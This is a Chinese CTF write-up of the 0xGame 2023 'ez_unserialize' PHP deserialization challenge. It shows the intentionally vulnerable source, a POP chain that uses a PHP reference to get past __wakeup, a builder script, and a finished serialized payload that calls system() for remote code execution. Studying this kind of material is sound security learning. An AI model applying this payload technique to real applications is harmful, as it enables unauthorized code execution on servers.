记录一道0xGame 2023 CTF Web ez_unserialize的反序列化漏洞题目收获

ez_unserialize

考点:

1. PHP 的引用来绕过 __wakeup

2.命令行中执行php -r 'phpinfo();',即可获得完整的phpinfo输出 

3.PHP 反序列化 POP 链的构造

源码和代码审计:

 key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup() { //强行把expired设置False,之前碰到都是利用修改属性个数绕过,但师傅提示需通过引用绕过
        $this->expired = False;
    }

    public function expired() {
        if ($this->expired) { //如果expired为True
            $this->helper->clean($this->key);//clean?好像是一个不存在的方法,通过这个调用__call
            return True; //返回True
        } else {
            return False;
        }
    }
}

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();//将一个空数组赋值给store
    }
    
    public function __set($name, $value) {//给不可访问属性赋值时被调用
        if (!$this->store) 
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;//system函数
    }

    public function __call($name, $args) { //链子的尾,通过这个执行命令
        $this->funcs[$name](...$args);  //system('ls')等?
    }
}

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {  //链子的头
        foreach ($this->data as $key => $value) {//遍历data数组,键key值value
            $this->storage->$key = $value;//将storage对象的$key属性赋值为$value,注意此时可以去触发Storage的__set方法.(给不可访问的属性赋值)
        }
    }
}

if (isset($_GET['u'])) {
    unserialize($_GET['u']);//反序列化
}
?> 
    

POP链: 

DataObject.__destruct() -> Storage.__set() -> Cache.expired() -> Helper.__call()
 

 构造代码:

funcs=array('clean'=>'system');
$cache1=new Cache();
$cache1->expired=False;
$cache2=new Cache();
$cache2->helper=$helper;
$cache2->key='php -r "phpinfo();"';
$storage=new Storage();
$storage->store=&$cache2->expired;
$dataObject=new DataObject();
$dataObject->data=array('key1'=>$cache1,'key2'=>$cache2);
$dataObject->storage=$storage;
echo serialize($dataObject);
?>

解析:

  1. ⾸先我们往 dataObject 的 data ⾥⾯放⼊了两个 Cache 实例: cache1 和 cache2
  2. 其中 cache2 指定了 helper, 其 key 设置成了要执⾏的命令 php -r 'phpinfo();' , helper 的 funcs 数组放⼊了 system 字符串
  3. 然后我们让 storage 的 store 属性成为 cache2 expired 属性的引⽤
  4. 这样, 在反序列化时, ⾸先会调⽤两个 Cache 的 __wakeup ⽅法, 将各⾃的 expired 设置为 False
  5. 然后调⽤ dataObject 的 __destruct ⽅法, 从⽽调⽤ Storage 的 __set ⽅法
  6. Storage ⾸先将 store (即 cache1 的 expired 属性) 初始化为⼀个空数组, 然后存⼊ cache1
  7. 此时, store 不为空, 那么也就是说 cache1 的 expired 属性不为空
  8. 然后来到 cache2, storage 的 __set ⽅法调⽤它的 expired ⽅法, 进⼊ if 判断
  9. 因为此时 cache2 的 expired 字段, 也就是上⾯的 store, 已经被设置成了⼀个数组, 并且数组中存在 cache1 (不为空), 因此这⾥ if 表达式的结果为 True
  10. 最后进⼊ helper 的 clean ⽅法, 执⾏ system('php -r 'phpinfo();''); 实现 RCE

paylaod:

?u=O:10:"DataObject":2:{s:7:"storage";O:7:"Storage":1:{s:5:"store";N;}s:4:"data";a:2:{s:4:"key1";O:5:"Cache":4:{s:3:"key";N;s:5:"value";N;s:7:"expired";b:0;s:6:"helper";N;}s:4:"key2";O:5:"Cache":4:{s:3:"key";s:19:"php -r "phpinfo();"";s:5:"value";N;s:7:"expired";R:3;s:6:"helper";O:6:"Helper":1:{s:5:"funcs";a:1:{s:5:"clean";s:6:"system";}}}}}

flag :

记录一道0xGame 2023 CTF Web ez_unserialize的反序列化漏洞题目收获_第1张图片

总结: 

考点就是总结

你可能感兴趣的:(反序列化漏洞,RCE,php,web安全,1024程序员节)